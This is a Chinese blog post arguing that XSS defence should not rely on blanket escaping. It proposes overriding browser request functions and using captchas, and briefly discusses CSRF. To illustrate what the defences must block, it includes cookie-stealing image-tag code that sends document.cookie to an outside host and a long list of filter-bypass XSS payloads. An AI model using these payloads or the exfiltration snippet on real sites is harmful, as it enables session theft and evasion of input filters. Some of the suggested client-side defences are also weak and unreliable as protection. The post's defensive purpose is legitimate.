XSS防御不应该是懒政-白帽安全攻防
作者:秋了秋 发表时间:2023年06月01日
首先从我的理解上介绍下xss漏洞攻击是个什么东西。Xss攻击是利用网页开发的漏洞在网页内容上执行恶意脚本, 当然善意的脚本也不叫攻击~。 这里所谓的脚本就是javascript,攻击的原理是用户访问了带有恶意代码的网页,而这个网页的恶意代码是通过黑客通过xss开发漏洞插入到网页的,攻击的目标是访问这个网页的每一个用户,只要访问这个网页恶意代码就会执行。那么恶意的javascript到底恶意在什么方面?
1.盗取用户登录信息,比如cookie,把盗取的cookie通过网络提交到黑客的服务器。
2.访问敏感和隐*私信息,比如银行账户余额,未公开的国家机*密,并把这些信息通过网络提交到黑客的服务器。
3.利用用户的电脑构建DDoS攻击,比如某个网页访问量巨大,黑客利用脚本高频访问某个指定服务器,以达到把指定服务器打趴下的目的,这种DDoS无懈可击,防不胜防,因为指定服务器不可能去禁止这么多正常用户的ip,这些正常用户只是被脚本利用了而已。
4.在页面插入广告,诱使男网友点击美女图片,女网友点击美男子图片以达到跳转到黑客服务器的目的。
5.模拟用户的输入和点击,使违背用户的真实意图。比如转账到黑客账户,发邮件到黑客账户,把隐*私信息公布出来,删除证据,提升权限等恶意行为。
只有知道有哪些危害才可以对症下药,逐一攻破xss漏洞,而网上的xss防御措施千篇一律的都是一刀切的做法,说它是懒政一点不为过。就是统一不允许脚本的执行,把输入内容过滤或者转译<>’”这些字符,这样做虽然彻底但是也损害了非恶意用户的输入,比如善意用户想发表一篇文章,文章带特效,特效是绽放一朵花。那么能否存在一种可能,既要允许脚本执行,又能抵抗xss攻击的非懒政呢?我们从以上每一条攻击特性来假设。
1.盗取用户cookie,无非就是想得到cookie, 然后拿到这个cookie就可以异地进行登录用户的账号。然后用户的所有信息都可以被黑客看到和操作,这种好办,只需要开发网页者在用户登录的时候给客户端cookie设置httpOnly即可,这样浏览器就不允许脚本去读取cookie了,而只能是同源http请求的时候自动带上,那么黑客的脚本就无可奈何了,外加一道防线是服务器设置验证码校验登录,纵使从物理手段拿到cookie也是无法登录的,依然无能为力。
2.盗用信息,是盗取除了cookie的其它需要登录页面显示的未公开数据,这个通过httpOnly是解决不了的,那么它还有一个盗取成功的先决条件就是发送网络请求到黑客服务器。那么是不是应该在网络请求上做文章就可以了,比如禁止ajax提交异域请求,在XMLHttpRequest和fetch请求前去做过滤拦截。可以重写window下的XMLHttpRequest.prototype.open方法和fetch方法,拦截后再调用原生的方法
const oldRequestOpen = window.XMLHttpRequest.prototype.open; window.XMLHttpRequest.prototype.open = function(method, url) { //在这里校验请求地址url拦截请求 oldRequestOpen.apply(this,arguments);//调用原生方法 }
const { fetch: originalFetch } = window; window.fetch = async (...args) => { let [resource, config] = args; //在这里校验请求地址 const response = await originalFetch(resource, config);// 调用原生方法 return response; };
一定要把这重写代码放在页面头部head里面,这样能比黑客脚本领先一步。
3.构建DDoS攻击的原理也是网络请求,如第二步方式一样处理。外加window.open重写
const oldOpen = window.open; window.open = function() { // 在这里校验请求地址url oldOpen.apply(this, arguments); // 调用原生方法 }
3.引诱点击美女和美男子广告的行为无外乎链接跳转做文章, window.open的重写请参照第三步,除了window.open, window.location很难捕捉和拦截,除非废弃影响原先的功能,也可以使用onbeforeunload提示用户,让用户选择是否跳转来避免。
4.模拟用户操作账户这个可以规避以上各种防御,比如用户打开了一个网站后台,后台有资金账户,还有转账的按钮,黑客只需要通过js自动填入转入账户号和转账数目,然后使用js的onclick自动提交转账按钮即可把钱转走。涉及到这种重要的操作的规避手段还是验证码,每次操作都要填入验证码即可防御这种自动脚本。
5.以上都是基于javascript的防御手段,还有一种是通过href和src引入flash,flash里面含有恶意的代码,java或者c++, 这种防御结合当下的浏览器环境可以采取一刀切,禁止flash的引入,flash几乎用不到了。
6.涉及到数据的提交还有img等资源加载标签可能存在异域链接请求,用js可以构造带参数(隐*私数据)的链接提交到黑客服务器,
const hackImg = document.createElement('img'); hackImg.src = 'http://netblog.cn/?cookie=' + document.cookie; hackImg.width = 0; hackImg.height = 0; document.body.appendChild(hackImg); hackImg.onload = function() { document.body.removeChild(hackImg); };
或者直接修改网页上已经存在的img标签:
const img = document.getElements ByTagName('img')[0]; const oldImgSrc = img.src; img.src = 'http://netblog.cn/?cookie=' + document.cookie; img.onload = function() { img.src = oldImgSrc; };
这种没有走XMLHttpRequest和fetch所以拦截不到,解决办法重写这些赋值的方法,并对赋值进行校验。希望以后浏览器出这种资源加载前的事件捕捉。比如:
document.createElement = (function (fn) { return function (tagName) { // 在这里禁止掉某些标签的创建tagName var elem = fn.call(document, tagName); return elem; }; })(document.createElement);
类似的,还有setAttribute方法的重写。还有通过img.SRC = xxx和document.body.innerHTML=xxx;这种要校验xxx处理比较麻烦,可以参考xss如何绕过过滤。黑客可以构造各种代码形式绕过过滤:
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> <Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data:,window.open('http://netblog.cn/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript:alert(1)>CLICKME <input/onmouseover="javaSCRIPT:confirm(1)" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> //绕过js对某些函数的检测,函数名可以分开导致也会检测不到 (alert)(1) a=alert,a(1) [1].find(alert) top[“al”+”ert”](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top[‘al\145rt’](1) top[‘al\x65rt’](1) top[8680439..toString(30)](1) alert?.() `${alert``}` (The payload should include leading and trailing backticks.) (alert())
如果做好以上的防御措施后只会影响到隐*私泄露,如果网站没有啥重要隐*私内容的话可以不做防御。如果有重要隐*私信息,隐*私信息默认不显示,要查看需要用户填写验证码后再查看,且内容用一个沙盒div包裹住,重写系统选择器函数,过滤掉该沙盒id即可,或者套iframe达到沙盒的目的。
7.form表单可以直接废弃form的提交事件,网站统一都用ajax做请求。
有黑帽就有白帽,见招拆招。最怕的就是见不到招,所以大部分开发者选择懒政一刀切,其实是非常不仁道的做法。
普通用户也不要过于担心点到这种具有XSS漏洞的网站导致中毒,每一个域名网址网页都是沙盒,javascript能做的范畴只限于该网站,只要没有重要信息,即使有重要信息不登录。也不会对你电脑系统造成损害。
纵使A网站把防御拉得很高,黑客直接放弃在A网站挂马,到B网站去挂马,当用户登录了A网站也同时访问了B网站,黑客在B网站执行脚本发起A网站的请求,利用浏览器的session机制请求登录后才能获取的数据也是可以得到的,这种叫CSRF攻击。至于csrf攻击,重要请求加验证码可以解决,或者加Token验证,再加一道防线是检查reference字段,拒绝其它网站调用请求本网站的api。